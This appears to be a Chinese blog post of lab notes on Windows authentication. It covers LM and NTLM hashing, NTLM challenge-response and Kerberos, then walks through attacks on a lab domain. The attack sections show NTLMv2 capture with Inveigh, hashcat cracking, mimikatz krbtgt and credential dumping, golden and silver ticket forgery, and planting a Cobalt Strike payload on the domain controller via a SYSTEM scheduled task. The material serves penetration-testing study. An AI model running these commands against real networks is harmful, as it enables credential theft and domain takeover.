内网-Windows认证

windows认证

1.windows本地认证–NTML哈希和LM哈希

本地认证流程

Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与SAM文件中的密码进行对比,如果相同,则认证成功

SAM文件是位于 %SystemRoot%\system32\config\ 目录下的,用于储存本地所有用户的凭证信息,但是这并不代表 着你可以随意去查看系统密码。

image-20231009144637224

windows本地认证流程:

image-20231009144807369

首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库进行比较认证

Windows Logon Process(即winlogon.exe):是Windows NT用户登陆程序,用于管理用户登陆和退出

LSASS:用于微软Windows系统的安全机制,它用于本地安全和登陆策略

本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的

LM和NTLM哈希

Windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。

Windows操作系统中的密码一般由两部分组成,一部分为 LM Hash,另一部分为NTLMHash。在 Windows操作系统中,Hash的结构通常如下

1
username:RID:LM‐HASH:NT‐HASH

LM Hash的全名为”LAN Manager Hash”,是微软为了提高 Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。尽管 LM Hash较容易被破解,但为了保证系统的兼容性, Windows只是将LM Hash禁用了(从 Windows vista和 Windows Server2008版本开始, Windows操作系统默认禁用 LM Hash)。

LM Hash明文密码被限定在14位以内,也就是说,如果要停止使用 LM Hash,将用户的密码设置为14位以上即可。如果 LM Hash被禁用了, 攻击者通过工具抓取的 LM Hash通常为“ad3b435b51404eead3b435b51404ee”(表示 LM Hash为空值或被禁用)

NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。 NTLM Hash 是基于MD4加密算 username:RID:LM‐HASH:NT‐HASH 法进行加密的。个人版从 Windows vista以后,服务器版从 Windows Server 2003以后, Windows操作系统的认证方式均为 NTLM Hash

为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。

image-20231009150243938

LM hash原理

1、将明文口令转换为其大写形式 假设这里以明文Admin@123为例,转换为大写格式为:ADMIN@123

2、 将字符串大写后转换为16进制字符串转换后为 41 44 4D 49 4E 40 31 32 33

3、密码不足14字节要求用0补全, 1Byte=8bit,上面的16进制字符串共9个字节,还差5个字节 使用 00 00 00 00 00 补全为 41 44 4D 49 4E 40 31 32 33 00 00 00 00 00

4、将上述编码分成2组7字节

1
2
41 44 4D 49 4E 40 31 第一组
32 33 00 00 00 00 00 第二组

5、将每一组7字节的十六进制转换为二进制,每7bit一组末尾加0,再转换成十六进制组成得到2组8字节的编码

第一组:

1
2
3
4
5
6
7
8
9
10
11
12
13
16进制:41 44 4D 49 4E 40 31
转换为二进制:01000001010001000100110101001001010011100100000000110001
七个为一组末尾补
01000000
10100010
00010010
10101000
10010100
01110010
00000000
01100010
合并后为0100000010100010000100101010100010010100011100100000000001100010
在转换为16进制:40A212A894720062

第二组:

1
2
3
4
5
6
7
8
9
10
11
12
13
16进制:32 33 00 00 00 00 00
转换为二进制:00110010001100110000000000000000000000000000000000000000
七个为一组末尾补
00110010
00011000
11000000
00000000
00000000
00000000
00000000
00000000
合并后为0011001000011000110000000000000000000000000000000000000000000000
在转换为16进制:3218C00000000000

6、将以上步骤得到的两组8字节编码,分别作为DES加密key为魔术字符串 KGS!@#$% 进行加密

KGS!@#$%的16进制为 4B47532140232425 作为明文进行加密

第一组:

1
2
3
明文:4B47532140232425
密钥:40A212A894720062
密文:6F08D7B306B1DAD4
image-20231009151538585

第二组:

1
2
3
明文:4B47532140232425
密钥:3218C00000000000
密文:B75E0C8D76954A50
image-20231009151752307

7、最终结果拼接即可6F08D7B306B1DAD4B75E0C8D76954A50 这个值就是LMhash值

NTLM hash原理

1.将明文口令转换成十六进制的格式 如:Admin@123 转换成Unicode格式,即在每个字节之后添加0x00

1
2
Admin@12316进制 41646D696E40313233
添加00410064006D0069006E004000310032003300

2.对Unicode字符串作MD4加密,生成32位的十六进制数字串 570a9a65db8fba761c1008a51d4c95ab

image-20231009152209061

SAM文件存储的内容

以用户admin 密码Admin@123为例 lsass.exe文件生成的值和SAM文件存储的值即为:

1
2
username:RID:LM‐HASH:NT‐HASH
admin:RID:6F08D7B306B1DAD4B75E0C8D76954A50:570a9a65db8fba761c1008a51d4c95ab

2.windows网络认证–基于挑战响应认证的NTLM协议

网络认证NTLM协议简介

在平时的测试中,经常会碰到处于工作组的计算机,处于工作组的计算机之间是无法建立一个可信的信托机构的, 只能是点对点进行信息的传输。举个例子就是,主机A想要访问主机B上的资源,就要向主机B发送一个存在于主机B上的一个账户,主机B接收以后会在本地进行验证,如果验证成功,才会允许主机A进行相应的访问。

NTLM 协议是一种基于挑战(Chalenge)/响应(Response) 认证机制,仅支持Windows的网络认证协议。

1
2
3
协商,这个是为了解决历史遗留问题,也就是为了向下兼容,双方先确定一下传输协议的版本等各种信息。
质询,这一步便是Chalenge/Response认证机制的关键之处,下面会介绍这里的步骤。
验证,对质询的最后结果进行一个验证,验证通过后,即允许访问资源

认证流程

认证成功的流程

1、首先,client会向server发送一个username,这个username是存在于server上的一个用户

image-20231009153855803

2、server首先会在本地查询是否存在这样的一个用户,如果存在,将会生成一个16位的随机字符,即Challenge,然后用查询到的这个user的NTLM hash对Challenge进行加密,生成Challenge1,将Challenge1存储在本地,并将 Challenge传给client。

image-20231009154103331

3、当client接收到Chalenge时,将发送的username所对应的NTLM hash对Challenge进行加密即Response,并 Response发送给server。

image-20231009154120614

4、server在收到Response后,将其与Challenge1进行比较,如果相同,则验证成功

image-20231009154315113

认证失败的流程

1、首先,client会向server发送一个username,这个username是存在于server上的一个用户

image-20231009154403511

2、当server接收到这个信息时,首先会在本地查询是否存在这样的一个用户,如果不存在,则直接返回认证失败

image-20231009154430297

NTLM协议v1与v2的区别

NTLM V2协议,NTLMv1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是 NTLM Hash

1
2
NTLM v1的Challenge有8位,NTLM v1的主要加密算法是DES
NTLM v2的Challenge为16位;NTLM v2的主要加密算法是HMAC‐MD5

抓包分析实验

1.实验环境

image-20231009163808577

2.windows10 安装wireshark

3、使用如下命令进行远程连接,并且使用wireshark 包

1
2
net use \\192.168.41.130 /u:kkk Admin@123   建立连接
net use * /del 删除连接

image-20231009164117440

4、前5个数据包中前四条时协商,第五个是认证的第一个数据包

image-20231009164148506

5、第6个数据包就是返回challenge挑战值

image-20231009164204139

分析该数据包得到chalenge值 53fb7eb8d40cc777

image-20231009164228194

6、第7个数据包就是返回response的数据包

response数据如下:

1
3d00ee8a5618f85651098b8005883d5c0101000000000000f790f7af9b92d8019cba65f5e39a1ea90000000002000e0042004d002d00320030003000380001000e0042004d002d00320030003000380004000e0042004d002d00320030003000380003000e0042004d002d00320030003000380007000800f790f7af9b92d801060004000200000008003000300000000000000001000000002000009906b326309f0ba76eb46b2271795e5d12df73e87035391df48f0fad1ce073380a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340031002e003100330030000000000000000000

image-20231009164302863

7、接下来得到NTLMv2 数据,NTLMv2格式如下:

1
2
3
4
5
username::domain:challenge:HMAC‐MD5:blob
username:对应数据包中 user name
domain:对应数据包中的 Domain name
HMAC‐MD5:对应数据包中的NTProofStr
blob:数据库包中rsponse去掉HMAC‐MD5的值

image-20231009164334448

8、最终的到HTLMv2如下:

1
kkk:::53fb7eb8d40cc777:3d00ee8a5618f85651098b8005883d5c:0101000000000000f790f7af9b92d8019cba65f5e39a1ea90000000002000e0042004d002d00320030003000380001000e0042004d002d00320030003000380004000e0042004d002d00320030003000380003000e0042004d002d00320030003000380007000800f790f7af9b92d801060004000200000008003000300000000000000001000000002000009906b326309f0ba76eb46b2271795e5d12df73e87035391df48f0fad1ce073380a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340031002e003100330030000000000000000000

9、使用hashcat 破解密码

1
hashcat ‐m 5600 kkk:::53fb7eb8d40cc777:3d00ee8a5618f85651098b8005883d5c:0101000000000000f790f7af9b92d8019cba65f5e39a1ea90000000002000e0042004d002d00320030003000380001000e0042004d002d00320030003000380004000e0042004d002d00320030003000380003000e0042004d002d00320030003000380007000800f790f7af9b92d801060004000200000008003000300000000000000001000000002000009906b326309f0ba76eb46b2271795e5d12df73e87035391df48f0fad1ce073380a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340031002e003100330030000000000000000000 1.txt ‐‐force

1.txt为密码字典

10、使用hashcat破解得到密码

image-20231009164435194

抓取HTLMv2值

使用工具:Inveigh

image-20231009164715662

可以使用cs 3种方式:1.本地导入 2.上传文件到靶机 3.远程执行

1
2
3
开启监听:
Import-Module .\Inveigh.psd1
Invoke-Inveigh -consoleoutput Y

只要有人执行net use即可抓取到HTLMv2值

image-20231009164910004

3.windows域认证之Kerberos协议认证

什么是Kerberos协议

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该 认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并 假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的

Kerberos协议的组成角色

在古希腊神话故事中,kerberos是一只具有三颗头颅的地狱恶犬,他守护在地狱之外,能够识别所有经此路过的亡 灵,防止活着的入侵者闯入地狱

kerberos协议中也存在三个角色,分别是

1
2
3
4
5
6
7
客户端(client):发送请求的一方
服务端(Server):接收请求的一方
密钥分发中心(Key Distribution CenterKDC),而密钥分发中心一般又分为两部分,分别是:
ASAuthentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGSTGT(票据
授予票据)
TGSTicket Granting Ticket):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务
授予票据(Ticket

Kerberos认证的简单流程

举个例子:

A现在想要去访问B完成一个任务。但是AB两人之间是从来没有见过面的,他们只知道对方的名字叫A,B。此时如 果A直接去找B告诉B我就是A,那么B是有理由不相信A的,B同理也得不到A的认可,他们陷入了一个无 法证明我 就是我的困境。

于是他们就想到了一个办法,AB找到了一个他俩共同信任的人C,且这个C既认识A又认识B,所以只要C告诉B,这个A确实就是真正的A那么B就会信任这个A,同理B经过C的认可后,A也会相信B的身份。此后,A在访问B之前会先去找C,C会交给A一个凭证,代表此时的A已经得到了C的认证,这时A拿着凭证再去找B,便可以得到B的确认了。

再举个例子:

我们去动物园,动物园不认识你不让你进,你也怕进门后不是动物园,所以就很尴尬

image-20231009172740642

如何解决呢?我们建立一个售票窗口,只要售票处认识你和动物园,你和动物园之间就可以相互信任。

image-20231009172805409

1
2
3
人:代表客户端
动物园:代表服务端
售票处:代表KDC

所以整个kerberos认证流程可以简化描述如下:

客户端在访问每个想要访问的网络服务时,他需要携带一个专门用于访问该服务并且能够证明自己身份的票据,当服务端收到了该票据他才能认定客户端身份正确,向客户端提供服务。所以整个认证流程可简化为两大步:

1
2
1、客户端向KDC请求获取想要访问的目标服务的服务授予票据(Ticket);
2、客户端拿着从KDC获取的服务授予票据(Ticket)访问相应的网络服务

image-20231009173548739

Kerberos认证完整流程

在上述的流程中,其实还有一个问题,那就是

1.KDC怎么知道你(客户端)就是真正的客户端?凭什么给你发放服务授予票据(Ticket)呢?

我们以去动物园为例,售票处凭什么给你买票,你如果是一个逃犯怎么办?其实买票的过程我们可以分为两步第一 才步是你拿着身份证去验证,第二步身份验证通过了才会给你票

image-20231009173908563
1
2
3
4
5
人:代表客户端
动物园:代表服务端
售票处:KDC
身份校验人员:AS,负责验证用户身份的合法性,和给用户一个可以买票的票(TGT)
卖票人员:TGS,负责客户端访问服务端时所需的服务授予票据的单位

所以kerberos通信可以分为3步

通信第一步-客户端和AS进行通信

​ 为了获得能够用来访问服务端服务的票据,客户端首先需要来到KDC获得服务授予票据(Ticket)。由于客户端是第一次访问KDC,此时KDC也不确定该客户端的身份,所以第一次通信的目的为KDC认证客户端身份,确认客户端是一个可靠且拥有访问KDC权限的客户端,

image-20231009173952708

1
2
3
4
5
6
7
8
9
1、客户端用户向KDC以明文的方式发起请求。该次请求中携带了自己的用户名,主机IP,和当前时间戳;
2、KDC当中的AS(Authentication Server)接收请求(AS是KDC中专门用来认证客户端身份的认证服务器)后去
kerberos认证数据库中根据用户名查找是否存在该用户,此时只会查找是否有相同用户名的用户,并不会判断身份的可
靠性;
3、如果没有该用户名,认证失败,服务结束;如果存在该用户名,则AS认证中心便认为用户存在,此时便会返回响应给客户端,其中包含两部分内容:
3.1、第一部分内容称为TGT,他叫做票据授予票据,客户端需要使用TGT去KDC中的TGS(票据授予中心)获取访问网络服务所需的Ticket(服务授予票据),TGT中包含的内容有kerberos数据库中存在的该客户端的Name,IP,当前时间戳,客户端即将访问的TGS的Name,TGT的有效时间以及用于客户端和TGS间进行通信的Session_key(CT_SK)。
整个TGT使用TGS密钥加密,客户端是解密不了的,由于密钥从没有在网络中传输过,所以也不存在密钥被劫持破解的情况。
3.2第二部分内容是使用客户端密钥加密的一段内容,其中包括用于客户端和TGS间通信的Session_key(CT_SK),客户端即将访问的TGS的Name以及TGT的有效时间,和一个当前时间戳。该部分内容使用客户端密钥加密,所以客户端在拿到该部分内容时可以通过自己的密钥解密。如果是一个假的客户端,那么他是不会拥有真正客户端的密钥的,因为该密钥也从没在网络中进行传输过。这也同时认证了客户端的身份,如果是假客户端会由于解密失败从而终端认证流程。
至此,第一次通信完成。

通信第二步-客户端和TGS进行通信

​ 此时的客户端收到了来自KDC(其实是AS)的响应,并获取到了其中的两部分内容。此时客户端会用自己的密钥将 第二部分内容进行解密,分别获得时间戳,自己将要访问的TGS的信息,和用于与TGS通信时的密钥CT_SK。首先 他会根据时间戳判断该时间戳与自己发送请求时的时间之间的差值是否大于5分钟,如果大于五分钟则认为该AS是 伪造的,认证至此失败。如果时间戳合理,客户端便准备向TGS发起请求

image-20231009174038108

1
2
3
4
5
6
7
8
9
10
11
12
客户端行为:
1、客户端使用CT_SK加密将自己的客户端信息发送给KDC,其中包括客户端名,IP,时间戳;
2、客户端将自己想要访问的Server服务以明文的方式发送给KDC;
3、客户端将使用TGS密钥加密的TGT也原封不动的也携带给KDC;

TGS行为:
1、此时KDC中的TGS(票据授予服务器)收到了来自客户端的请求。他首先根据客户端明文传输过来的Server服务IP查看当前kerberos系统中是否存在可以被用户访问的该服务。如果不存在,认证失败结束。如果存在,继续接下来的认证。
2、TGS使用自己的密钥将TGT中的内容进行解密,此时他看到了经过AS认证过后并记录的用户信息,一把Session_KEY即CT_SK,还有时间戳信息,他会现根据时间戳判断此次通信是否真是可靠有无超出时延。
3、如果时延正常,则TGS会使用CT_SK对客户端的第一部分内容进行解密(使用CT_SK加密的客户端信息),取出其中的用户信息和TGT中的用户信息进行比对,如果全部相同则认为客户端身份正确,方可继续进行下一步。
4、此时KDC将返回响应给客户端,响应内容包括:
第一部分:用于客户端访问网络服务的使用Server密码加密的ST(Servre Ticket),其中包括客户端的Name,IP,需要访问的网络服务的地址Server IP,ST的有效时间,时间戳以及用于客户端和服务端之间通信CS_SK(Session Key)。
第二部分:使用CT_SK加密的内容,其中包括CS_SK和时间戳,还有ST的有效时间。由于在第一次通信的过程中,AS已将CT_SK通过客户端密码加密交给了客户端,且客户端解密并缓存了CT_SK,所以该部分内容在客户端接收到时是可以自己解密的。至此,第二次通信完成。

通信第三步-客户端和服务端进行通信

​ 此时的客户端收到了来自KDC(TGS)的响应,并使用缓存在本地的CT_SK解密了第二部分内容(第一部分内容中 的ST是由Server密码加密的,客户端无法解密),检查时间戳无误后取出其中的CS_SK准备向服务端发起最后的请求。

image-20231009174117654

1
2
3
4
5
6
客户端:
1、客户端使用CS_SK将自己的主机信息和时间戳进行加密作为交给服务端的第一部分内容,然后将ST(服务授予票据)
作为第二部分内容都发送给服务端。
服务端:
1、服务器此时收到了来自客户端的请求,他会使用自己的密钥,即Server密钥将客户端第二部分内容进行解密,核对时间戳之后将其中的CS_SK取出,使用CS_SK将客户端发来的第一部分内容进行解密,从而获得经过TGS认证过后的客户端信息,此时他将这部分信息和客户端第二部分内容带来的自己的信息进行比对,最终确认该客户端就是经过了KDC认证的具有真实身份的客户端,是他可以提供服务的客户端。此时服务端返回一段使用CT_SK加密的表示接收请求的响应给客户端,在客户端收到请求之后,使用缓存在本地的CS_ST解密之后也确定了服务端的身份(其实服务端在通信的过程中还会使用数字证书证明自己身份)。
至此,第三次通信完成。此时也代表着整个kerberos认证的完成,通信的双方都确认了对方的身份,此时便可以放心的进行整个网络通信了。

总体流程如下

image-20231009174149420

4.Golden Ticket黄金票据制作原理及利用方式

Krbtgt账户介绍

krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成 的,无法登录主机

image-20231010145650895

黄金票据原理

本质:伪造TGT

用途:权限维持

TGT=Krbtgt的ntlm hash 加密

1、Kerberos中的TGT和Logon Session Key(CT_SK)是AS返回的 ,TGT它是由Krbtgt加密和签名的 ,krbtgt的 NTLM Hash又是固定的,而CT_SK并不会保存在KDC中。

2、所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key(CT_SK)。

3、Client与TGS的交互中,而已有了金票后(TGT),就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我 们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用 krbtgt用户的ntlm hash制作黄金票据伪造TGT,重新获取域控的管理权限。

image-20231010145937348

我们在以去动物园为例,当我们去买票的时候,我么首先第一步是去身份认证管理员那里认证身份

image-20231010145956811

实验

实验环境

实验机器 IP地址
windows Server 2012(域控) 10.210.100.10
windows Server 2008(域内成员) 10.210.100.20

实验前提

1、已经控制了域名并且使用域管理员登录或者提权的system

如果域管理员发现了你控制了域控机器,把你的后门删除了,那么就不能继续控制域控了,这个时候当我们可以伪造TGT重新获得域控的权限 条件如下:

1
2
3
4
5
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)

实验步骤

1、目前已经控制了域控和域内机器

image-20231010152245413

2、获取关键信息

1
2
shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域

image-20231010152411743

域sid:S-1-5-21-2431442348-1717482385-2017137259

image-20231010152459188

域名称:hack.com

3、使用mimikatz导出KRBTGT的ntlm hash

1
mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt

image-20231010152736649

image-20231010152811590

得到krbtgt的ntlm hash:4d81c6ab6cabae0fc304cd309f601a0b

4、这个时候突然域控下线了,管理员发现的你在控制,把后门清理了

image-20231010153142329

image-20231010153848759

5、因为之前已经记录了关键信息,我们现在就可以伪造任意用户访问域控,windows 2008机器必须是域内用户或者system用户

1
2
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票

使用cs制作黄金票据

image-20231010153946573

image-20231010154044275

image-20231010154226444

6、使用dir 远程访问域控

1
shell dir \\dc.hack.com\c$

image-20231010154304566

7、使用计划任务上线cs

copy当前控制的靶机的恶意文件到域控的C盘

1
shell copy c:\users\administrator\desktop\artifact.exe \\dc.hack.com\c$

image-20231010154917002

设置计划任务到域控 名字test 开机启动 c:\artifact.exe 以system权限

1
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

运行计划任务

1
shell schtasks /run /s dc.hack.com /i /tn "test"

image-20231010155130795

域控上线

image-20231010155137094

5.Silver Ticket白银票据制作原理及利用方式

本质:伪造ST

服务账号

服务账号就是计算机名字+$用来管理服务的账号

白银票据原理

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。 在Kerberos认证的第三步,Client带着ST和 Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

image-20231010161311015

我们以去动物园举例

image-20231010161346581

实验

实验环境

实验机器 IP地址
windows Server 2012(域控) 10.210.100.10
windows Server 2008(域内成员) 10.210.100.20
windows Server 2003(域内成员) 10.210.100.30

实验前提

1、已经控制了域控并且使用域管理员登录或者提权的system

我们的目的是去访问windows server 2003 的机器

条件如下:

1
2
3
4
5
6
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名

实验步骤

控制域控

1、获取基本信息

1
2
shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域

image-20231010163307144

image-20231010163322321

域名:hack.com SID:S-1-5-21-2431442348-1717482385-2017137259

2、获取服务账号的ntlm hash值

1
mimikatz sekurlsa::logonpasswords

image-20231010163543546

服务账号DC$的ntlm hash值:a2b973c420b7df773e05ed5d780cdc7c

3、伪造票据(CIFS共享服务)

1
2
3
4
5
6
7
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票

mimikatz kerberos::golden /domain:hack.com /sid:S-1-5-21-2431442348-1717482385-2017137259
/target:dc.hack.com /service:cifs /rc4:a2b973c420b7df773e05ed5d780cdc7c /user:abcd /ptt

image-20231010163930167

image-20231010164116810

4、访问域控

1
shell dir \\dc.hack.com\c$

image-20231010164225754

6、伪造票据(LDAP共享服务)

1
2
3
4
5
6
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票
mimikatz kerberos::golden /domain:hack.com /sid:S-1-5-21-2431442348-1717482385-2017137259
/target:dc.hack.com /service:LDAP /rc4:a2b973c420b7df773e05ed5d780cdc7c /user:abcd /ptt

7、查询域控的krbtgt(通过LDAP服务)

获取域控的krbtgt的ntlm hash

1
mimikatz lsadump::dcsync /dc:dc.hack.com /domain:hack.com /user:krbtgt

image-20231010164633305

此时又可以制作黄金票据 拿到域控权限

控制PC-2003

1.获取基本信息

1
2
shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域

域名:hack.com SID:S-1-5-21-2431442348-1717482385-2017137259

2、获取服务账号的ntlm hash值

1
mimikatz sekurlsa::logonpasswords

image-20231010171348936

ntlm hash:509a5497664e1415f80a550c0ba4b543

3、伪造票据(CIFS共享服务)

1
2
3
4
5
6
7
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票

mimikatz kerberos::golden /domain:hack.com /sid:S-1-5-21-2431442348-1717482385-2017137259
/target:PC-2003.hack.com /service:cifs /rc4:509a5497664e1415f80a550c0ba4b543 /user:abc /ptt

image-20231010171613721

4、访问2003

1
shell dir \\PC-2003.hack.com\c$

image-20231010171802035


内网-Windows认证
http://example.com/2023/11/03/内网-Windows认证/
作者
r1
发布于
2023年11月3日
许可协议